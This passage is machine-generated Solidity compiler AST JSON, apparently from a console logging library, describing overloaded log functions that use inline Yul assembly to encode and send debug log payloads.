pure"}},"id":45012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"344990:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45013,"nodeType":"ExpressionStatement","src":"344990:28:22"},{"AST":{"nativeSrc":"345037:273:22","nodeType":"YulBlock","src":"345037:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"345058:4:22","nodeType":"YulLiteral","src":"345058:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"345064:2:22","nodeType":"YulIdentifier","src":"345064:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345051:6:22","nodeType":"YulIdentifier","src":"345051:6:22"},"nativeSrc":"345051:16:22","nodeType":"YulFunctionCall","src":"345051:16:22"},"nativeSrc":"345051:16:22","nodeType":"YulExpressionStatement","src":"345051:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345087:4:22","nodeType":"YulLiteral","src":"345087:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"345093:2:22","nodeType":"YulIdentifier","src":"345093:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345080:6:22","nodeType":"YulIdentifier","src":"345080:6:22"},"nativeSrc":"345080:16:22","nodeType":"YulFunctionCall","src":"345080:16:22"},"nativeSrc":"345080:16:22","nodeType":"YulExpressionStatement","src":"345080:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345116:4:22","nodeType":"YulLiteral","src":"345116:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"345122:2:22","nodeType":"YulIdentifier","src":"345122:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345109:6:22","nodeType":"YulIdentifier","src":"345109:6:22"},"nativeSrc":"345109:16:22","nodeType":"YulFunctionCall","src":"345109:16:22"},"nativeSrc":"345109:16:22","nodeType":"YulExpressionStatement","src":"345109:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345145:4:22","nodeType":"YulLiteral","src":"345145:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"345151:2:22","nodeType":"YulIdentifier","src":"345151:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345138:6:22","nodeType":"YulIdentifier","src":"345138:6:22"},"nativeSrc":"345138:16:22","nodeType":"YulFunctionCall","src":"345138:16:22"},"nativeSrc":"345138:16:22","nodeType":"YulExpressionStatement","src":"345138:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345174:4:22","nodeType":"YulLiteral","src":"345174:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"345180:2:22","nodeType":"YulIdentifier","src":"345180:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345167:6:22","nodeType":"YulIdentifier","src":"345167:6:22"},"nativeSrc":"345167:16:22","nodeType":"YulFunctionCall","src":"345167:16:22"},"nativeSrc":"345167:16:22","nodeType":"YulExpressionStatement","src":"345167:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345203:4:22","nodeType":"YulLiteral","src":"345203:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"345209:2:22","nodeType":"YulIdentifier","src":"345209:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345196:6:22","nodeType":"YulIdentifier","src":"345196:6:22"},"nativeSrc":"345196:16:22","nodeType":"YulFunctionCall","src":"345196:16:22"},"nativeSrc":"345196:16:22","nodeType":"YulExpressionStatement","src":"345196:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345232:4:22","nodeType":"YulLiteral","src":"345232:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"345238:2:22","nodeType":"YulIdentifier","src":"345238:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345225:6:22","nodeType":"YulIdentifier","src":"345225:6:22"},"nativeSrc":"345225:16:22","nodeType":"YulFunctionCall","src":"345225:16:22"},"nativeSrc":"345225:16:22","nodeType":"YulExpressionStatement","src":"345225:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345261:4:22","nodeType":"YulLiteral","src":"345261:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"345267:2:22","nodeType":"YulIdentifier","src":"345267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345254:6:22","nodeType":"YulIdentifier","src":"345254:6:22"},"nativeSrc":"345254:16:22","nodeType":"YulFunctionCall","src":"345254:16:22"},"nativeSrc":"345254:16:22","nodeType":"YulExpressionStatement","src":"345254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"345290:5:22","nodeType":"YulLiteral","src":"345290:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"345297:2:22","nodeType":"YulIdentifier","src":"345297:2:22"}],"functionName":{"name":"mstore","nativeSrc":"345283:6:22","nodeType":"YulIdentifier","src":"345283:6:22"},"nativeSrc":"345283:17:22","nodeType":"YulFunctionCall","src":"345283:17:22"},"nativeSrc":"345283:17:22","nodeType":"YulExpressionStatement","src":"345283:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44982,"isOffset":false,"isSlot":false,"src":"345064:2:22","valueSize":1},{"declaration":44985,"isOffset":false,"isSlot":false,"src":"345093:2:22","valueSize":1},{"declaration":44988,"isOffset":false,"isSlot":false,"src":"345122:2:22","valueSize":1},{"declaration":44991,"isOffset":false,"isSlot":false,"src":"345151:2:22","valueSize":1},{"declaration":44994,"isOffset":false,"isSlot":false,"src":"345180:2:22","valueSize":1},{"declaration":44997,"isOffset":false,"isSlot":false,"src":"345209:2:22","valueSize":1},{"declaration":45000,"isOffset":false,"isSlot":false,"src":"345238:2:22","valueSize":1},{"declaration":45003,"isOffset":false,"isSlot":false,"src":"345267:2:22","valueSize":1},{"declaration":45006,"isOffset":false,"isSlot":false,"src":"345297:2:22","valueSize":1}],"id":45014,"nodeType":"InlineAssembly","src":"345028:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"343801:3:22","parameters":{"id":44979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44972,"mutability":"mutable","name":"p0","nameLocation":"343813:2:22","nodeType":"VariableDeclaration","scope":45016,"src":"343805:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44971,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343805:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44974,"mutability":"mutable","name":"p1","nameLocation":"343822:2:22","nodeType":"VariableDeclaration","scope":45016,"src":"343817:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44973,"name":"bool","nodeType":"ElementaryTypeName","src":"343817:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44976,"mutability":"mutable","name":"p2","nameLocation":"343834:2:22","nodeType":"VariableDeclaration","scope":45016,"src":"343826:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343826:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44978,"mutability":"mutable","name":"p3","nameLocation":"343843:2:22","nodeType":"VariableDeclaration","scope":45016,"src":"343838:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44977,"name":"bool","nodeType":"ElementaryTypeName","src":"343838:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"343804:42:22"},"returnParameters":{"id":44980,"nodeType":"ParameterList","parameters":[],"src":"343861:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45062,"nodeType":"FunctionDefinition","src":"345322:1530:22","nodes":[],"body":{"id":45061,"nodeType":"Block","src":"345394:1458:22","nodes":[],"statements":[{"assignments":[45028],"declarations":[{"constant":false,"id":45028,"mutability":"mutable","name":"m0","nameLocation":"345412:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345404:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45027,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345404:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45029,"nodeType":"VariableDeclarationStatement","src":"345404:10:22"},{"assignments":[45031],"declarations":[{"constant":false,"id":45031,"mutability":"mutable","name":"m1","nameLocation":"345432:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345424:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45030,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345424:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45032,"nodeType":"VariableDeclarationStatement","src":"345424:10:22"},{"assignments":[45034],"declarations":[{"constant":false,"id":45034,"mutability":"mutable","name":"m2","nameLocation":"345452:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345444:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45033,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345444:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45035,"nodeType":"VariableDeclarationStatement","src":"345444:10:22"},{"assignments":[45037],"declarations":[{"constant":false,"id":45037,"mutability":"mutable","name":"m3","nameLocation":"345472:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345464:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45036,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345464:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45038,"nodeType":"VariableDeclarationStatement","src":"345464:10:22"},{"assignments":[45040],"declarations":[{"constant":false,"id":45040,"mutability":"mutable","name":"m4","nameLocation":"345492:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345484:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45039,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345484:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45041,"nodeType":"VariableDeclarationStatement","src":"345484:10:22"},{"assignments":[45043],"declarations":[{"constant":false,"id":45043,"mutability":"mutable","name":"m5","nameLocation":"345512:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345504:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45042,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345504:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45044,"nodeType":"VariableDeclarationStatement","src":"345504:10:22"},{"assignments":[45046],"declarations":[{"constant":false,"id":45046,"mutability":"mutable","name":"m6","nameLocation":"345532:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345524:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45045,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345524:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45047,"nodeType":"VariableDeclarationStatement","src":"345524:10:22"},{"assignments":[45049],"declarations":[{"constant":false,"id":45049,"mutability":"mutable","name":"m7","nameLocation":"345552:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345544:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45048,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345544:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45050,"nodeType":"VariableDeclarationStatement","src":"345544:10:22"},{"assignments":[45052],"declarations":[{"constant":false,"id":45052,"mutability":"mutable","name":"m8","nameLocation":"345572:2:22","nodeType":"VariableDeclaration","scope":45061,"src":"345564:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45051,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345564:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45053,"nodeType":"VariableDeclarationStatement","src":"345564:10:22"},{"AST":{"nativeSrc":"345593:924:22","nodeType":"YulBlock","src":"345593:924:22","statements":[{"body":{"nativeSrc":"345636:313:22","nodeType":"YulBlock","src":"345636:313:22","statements":[{"nativeSrc":"345654:15:22","nodeType":"YulVariableDeclaration","src":"345654:15:22","value":{"kind":"number","nativeSrc":"345668:1:22","nodeType":"YulLiteral","src":"345668:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"345658:6:22","nodeType":"YulTypedName","src":"345658:6:22","type":""}]},{"body":{"nativeSrc":"345739:40:22","nodeType":"YulBlock","src":"345739:40:22","statements":[{"body":{"nativeSrc":"345768:9:22","nodeType":"YulBlock","src":"345768:9:22","statements":[{"nativeSrc":"345770:5:22","nodeType":"YulBreak","src":"345770:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"345756:6:22","nodeType":"YulIdentifier","src":"345756:6:22"},{"name":"w","nativeSrc":"345764:1:22","nodeType":"YulIdentifier","src":"345764:1:22"}],"functionName":{"name":"byte","nativeSrc":"345751:4:22","nodeType":"YulIdentifier","src":"345751:4:22"},"nativeSrc":"345751:15:22","nodeType":"YulFunctionCall","src":"345751:15:22"}],"functionName":{"name":"iszero","nativeSrc":"345744:6:22","nodeType":"YulIdentifier","src":"345744:6:22"},"nativeSrc":"345744:23:22","nodeType":"YulFunctionCall","src":"345744:23:22"},"nativeSrc":"345741:36:22","nodeType":"YulIf","src":"345741:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"345696:6:22","nodeType":"YulIdentifier","src":"345696:6:22"},{"kind":"number","nativeSrc":"345704:4:22","nodeType":"YulLiteral","src":"345704:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"345693:2:22","nodeType":"YulIdentifier","src":"345693:2:22"},"nativeSrc":"345693:16:22","nodeType":"YulFunctionCall","src":"345693:16:22"},"nativeSrc":"345686:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"345710:28:22","nodeType":"YulBlock","src":"345710:28:22","statements":[{"nativeSrc":"345712:24:22","nodeType":"YulAssignment","src":"345712:24:22","value":{"arguments":[{"name":"length","nativeSrc":"345726:6:22","nodeType":"YulIdentifier","src":"345726:6:22"},{"kind":"number","nativeSrc":"345734:1:22","nodeType":"YulLiteral","src":"345734:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"345722:3:22","nodeType":"YulIdentifier","src":"345722:3:22"},"nativeSrc":"345722:14:22","nodeType":"YulFunctionCall","src":"345722:14:22"},"variableNames":[{"name":"length","nativeSrc":"345712:6:22","nodeType":"YulIdentifier","src":"345712:6:22"}]}]},"pre":{"nativeSrc":"345690:2:22","nodeType":"YulBlock","src":"345690:2:22","statements":[]},"src":"345686:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"345803:3:22","nodeType":"YulIdentifier","src":"345803:3:22"},{"name":"length","nativeSrc":"345808:6:22","nodeType":"YulIdentifier","src":"345808:6:22"}],"functionName":{"name":"mstore","nativeSrc":"345796:6:22","nodeType":"YulIdentifier","src":"345796:6:22"},"nativeSrc":"345796:19:22","nodeType":"YulFunctionCall","src":"345796:19:22"},"nativeSrc":"345796:19:22","nodeType":"YulExpressionStatement","src":"345796:19:22"},{"nativeSrc":"345832:37:22","nodeType":"YulVariableDeclaration","src":"345832:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"345849:3:22","nodeType":"YulLiteral","src":"345849:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"345858:1:22","nodeType":"YulLiteral","src":"345858:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"345861:6:22","nodeType":"YulIdentifier","src":"345861:6:22"}],"functionName":{"name":"shl","nativeSrc":"345854:3:22","nodeType":"YulIdentifier","src":"345854:3:22"},"nativeSrc":"345854:14:22","nodeType":"YulFunctionCall","src":"345854:14:22"}],"functionName":{"name":"sub","nativeSrc":"345845:3:22","nodeType":"YulIdentifier","src":"345845:3:22"},"nativeSrc":"345845:24:22","nodeType":"YulFunctionCall","src":"345845:24:22"},"variables":[{"name":"shift","nativeSrc":"345836:5:22","nodeType":"YulTypedName","src":"345836:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"345897:3:22","nodeType":"YulIdentifier","src":"345897:3:22"},{"kind":"number","nativeSrc":"345902:4:22","nodeType":"YulLiteral","src":"345902:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"345893:3:22","nodeType":"YulIdentifier","src":"345893:3:22"},"nativeSrc":"345893:14:22","nodeType":"YulFunctionCall","src":"345893:14:22"},{"arguments":[{"name":"shift","nativeSrc":"345913:5:22","nodeType":"YulIdentifier","src":"345913:5:22"},{"arguments":[{"name":"shift","nativeSrc":"345924:5:22","nodeType":"YulIdentifier","src":"345924:5:22"},{"name":"w","nativeSrc":"345931:1:22","nodeType":"YulIdentifier","src":"345931:1:22"}],"functionName":{"name":"shr","nativeSrc":"345920:3:22","nodeType":"YulIdentifier","src":"345920:3:22"},"nativeSrc":"345920:13:22","nodeType":"YulFunctionCall","src":"345920:13:22"}],"functionName":{"name":"shl","nativeSrc":"345909:3:22","nodeType":"YulIdentifier","src":"345909:3:22"},"nativeSrc":"345909:25:22","nodeType":"YulFunctionCall","src":"345909:25:22"}],"functionName":{"name":"mstore","nativeSrc":"345886:6:22","nodeType":"YulIdentifier","src":"345886:6:22"},"nativeSrc":"345886:49:22","nodeType":"YulFunctionCall","src":"345886:49:22"},"nativeSrc":"345886:49:22","nodeType":"YulExpressionStatement","src":"345886:49:22"}]},"name":"writeString","nativeSrc":"345607:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"345628:3:22","nodeType":"YulTypedName","src":"345628:3:22","type":""},{"name":"w","nativeSrc":"345633:1:22","nodeType":"YulTypedName","src":"345633:1:22","type":""}],"src":"345607:342:22"},{"nativeSrc":"345962:17:22","nodeType":"YulAssignment","src":"345962:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"345974:4:22","nodeType":"YulLiteral","src":"345974:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"345968:5:22","nodeType":"YulIdentifier","src":"345968:5:22"},"nativeSrc":"345968:11:22","nodeType":"YulFunctionCall","src":"345968:11:22"},"variableNames":[{"name":"m0","nativeSrc":"345962:2:22","nodeType":"YulIdentifier","src":"345962:2:22"}]},{"nativeSrc":"345992:17:22","nodeType":"YulAssignment","src":"345992:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346004:4:22","nodeType":"YulLiteral","src":"346004:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"345998:5:22","nodeType":"YulIdentifier","src":"345998:5:22"},"nativeSrc":"345998:11:22","nodeType":"YulFunctionCall","src":"345998:11:22"},"variableNames":[{"name":"m1","nativeSrc":"345992:2:22","nodeType":"YulIdentifier","src":"345992:2:22"}]},{"nativeSrc":"346022:17:22","nodeType":"YulAssignment","src":"346022:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346034:4:22","nodeType":"YulLiteral","src":"346034:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"346028:5:22","nodeType":"YulIdentifier","src":"346028:5:22"},"nativeSrc":"346028:11:22","nodeType":"YulFunctionCall","src":"346028:11:22"},"variableNames":[{"name":"m2","nativeSrc":"346022:2:22","nodeType":"YulIdentifier","src":"346022:2:22"}]},{"nativeSrc":"346052:17:22","nodeType":"YulAssignment","src":"346052:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346064:4:22","nodeType":"YulLiteral","src":"346064:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"346058:5:22","nodeType":"YulIdentifier","src":"346058:5:22"},"nativeSrc":"346058:11:22","nodeType":"YulFunctionCall","src":"346058:11:22"},"variableNames":[{"name":"m3","nativeSrc":"346052:2:22","nodeType":"YulIdentifier","src":"346052:2:22"}]},{"nativeSrc":"346082:17:22","nodeType":"YulAssignment","src":"346082:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346094:4:22","nodeType":"YulLiteral","src":"346094:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"346088:5:22","nodeType":"YulIdentifier","src":"346088:5:22"},"nativeSrc":"346088:11:22","nodeType":"YulFunctionCall","src":"346088:11:22"},"variableNames":[{"name":"m4","nativeSrc":"346082:2:22","nodeType":"YulIdentifier","src":"346082:2:22"}]},{"nativeSrc":"346112:17:22","nodeType":"YulAssignment","src":"346112:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346124:4:22","nodeType":"YulLiteral","src":"346124:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"346118:5:22","nodeType":"YulIdentifier","src":"346118:5:22"},"nativeSrc":"346118:11:22","nodeType":"YulFunctionCall","src":"346118:11:22"},"variableNames":[{"name":"m5","nativeSrc":"346112:2:22","nodeType":"YulIdentifier","src":"346112:2:22"}]},{"nativeSrc":"346142:17:22","nodeType":"YulAssignment","src":"346142:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346154:4:22","nodeType":"YulLiteral","src":"346154:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"346148:5:22","nodeType":"YulIdentifier","src":"346148:5:22"},"nativeSrc":"346148:11:22","nodeType":"YulFunctionCall","src":"346148:11:22"},"variableNames":[{"name":"m6","nativeSrc":"346142:2:22","nodeType":"YulIdentifier","src":"346142:2:22"}]},{"nativeSrc":"346172:17:22","nodeType":"YulAssignment","src":"346172:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"346184:4:22","nodeType":"YulLiteral","src":"346184:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"346178:5:22","nodeType":"YulIdentifier","src":"346178:5:22"},"nativeSrc":"346178:11:22","nodeType":"YulFunctionCall","src":"346178:11:22"},"variableNames":[{"name":"m7","nativeSrc":"346172:2:22","nodeType":"YulIdentifier","src":"346172:2:22"}]},{"nativeSrc":"346202:18:22","nodeType":"YulAssignment","src":"346202:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"346214:5:22","nodeType":"YulLiteral","src":"346214:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"346208:5:22","nodeType":"YulIdentifier","src":"346208:5:22"},"nativeSrc":"346208:12:22","nodeType":"YulFunctionCall","src":"346208:12:22"},"variableNames":[{"name":"m8","nativeSrc":"346202:2:22","nodeType":"YulIdentifier","src":"346202:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346302:4:22","nodeType":"YulLiteral","src":"346302:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"346308:10:22","nodeType":"YulLiteral","src":"346308:10:22","type":"","value":"0x24f91465"}],"functionName":{"name":"mstore","nativeSrc":"346295:6:22","nodeType":"YulIdentifier","src":"346295:6:22"},"nativeSrc":"346295:24:22","nodeType":"YulFunctionCall","src":"346295:24:22"},"nativeSrc":"346295:24:22","nodeType":"YulExpressionStatement","src":"346295:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346339:4:22","nodeType":"YulLiteral","src":"346339:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"346345:4:22","nodeType":"YulLiteral","src":"346345:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"346332:6:22","nodeType":"YulIdentifier","src":"346332:6:22"},"nativeSrc":"346332:18:22","nodeType":"YulFunctionCall","src":"346332:18:22"},"nativeSrc":"346332:18:22","nodeType":"YulExpressionStatement","src":"346332:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346370:4:22","nodeType":"YulLiteral","src":"346370:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"346376:2:22","nodeType":"YulIdentifier","src":"346376:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346363:6:22","nodeType":"YulIdentifier","src":"346363:6:22"},"nativeSrc":"346363:16:22","nodeType":"YulFunctionCall","src":"346363:16:22"},"nativeSrc":"346363:16:22","nodeType":"YulExpressionStatement","src":"346363:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346399:4:22","nodeType":"YulLiteral","src":"346399:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"346405:4:22","nodeType":"YulLiteral","src":"346405:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"346392:6:22","nodeType":"YulIdentifier","src":"346392:6:22"},"nativeSrc":"346392:18:22","nodeType":"YulFunctionCall","src":"346392:18:22"},"nativeSrc":"346392:18:22","nodeType":"YulExpressionStatement","src":"346392:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346430:4:22","nodeType":"YulLiteral","src":"346430:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"346436:2:22","nodeType":"YulIdentifier","src":"346436:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346423:6:22","nodeType":"YulIdentifier","src":"346423:6:22"},"nativeSrc":"346423:16:22","nodeType":"YulFunctionCall","src":"346423:16:22"},"nativeSrc":"346423:16:22","nodeType":"YulExpressionStatement","src":"346423:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346464:4:22","nodeType":"YulLiteral","src":"346464:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"346470:2:22","nodeType":"YulIdentifier","src":"346470:2:22"}],"functionName":{"name":"writeString","nativeSrc":"346452:11:22","nodeType":"YulIdentifier","src":"346452:11:22"},"nativeSrc":"346452:21:22","nodeType":"YulFunctionCall","src":"346452:21:22"},"nativeSrc":"346452:21:22","nodeType":"YulExpressionStatement","src":"346452:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346498:4:22","nodeType":"YulLiteral","src":"346498:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"346504:2:22","nodeType":"YulIdentifier","src":"346504:2:22"}],"functionName":{"name":"writeString","nativeSrc":"346486:11:22","nodeType":"YulIdentifier","src":"346486:11:22"},"nativeSrc":"346486:21:22","nodeType":"YulFunctionCall","src":"346486:21:22"},"nativeSrc":"346486:21:22","nodeType":"YulExpressionStatement","src":"346486:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45028,"isOffset":false,"isSlot":false,"src":"345962:2:22","valueSize":1},{"declaration":45031,"isOffset":false,"isSlot":false,"src":"345992:2:22","valueSize":1},{"declaration":45034,"isOffset":false,"isSlot":false,"src":"346022:2:22","valueSize":1},{"declaration":45037,"isOffset":false,"isSlot":false,"src":"346052:2:22","valueSize":1},{"declaration":45040,"isOffset":false,"isSlot":false,"src":"346082:2:22","valueSize":1},{"declaration":45043,"isOffset":false,"isSlot":false,"src":"346112:2:22","valueSize":1},{"declaration":45046,"isOffset":false,"isSlot":false,"src":"346142:2:22","valueSize":1},{"declaration":45049,"isOffset":false,"isSlot":false,"src":"346172:2:22","valueSize":1},{"declaration":45052,"isOffset":false,"isSlot":false,"src":"346202:2:22","valueSize":1},{"declaration":45018,"isOffset":false,"isSlot":false,"src":"346470:2:22","valueSize":1},{"declaration":45020,"isOffset":false,"isSlot":false,"src":"346376:2:22","valueSize":1},{"declaration":45022,"isOffset":false,"isSlot":false,"src":"346504:2:22","valueSize":1},{"declaration":45024,"isOffset":false,"isSlot":false,"src":"346436:2:22","valueSize":1}],"id":45054,"nodeType":"InlineAssembly","src":"345584:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45056,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"346542:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45057,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"346548:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45055,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"346526:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 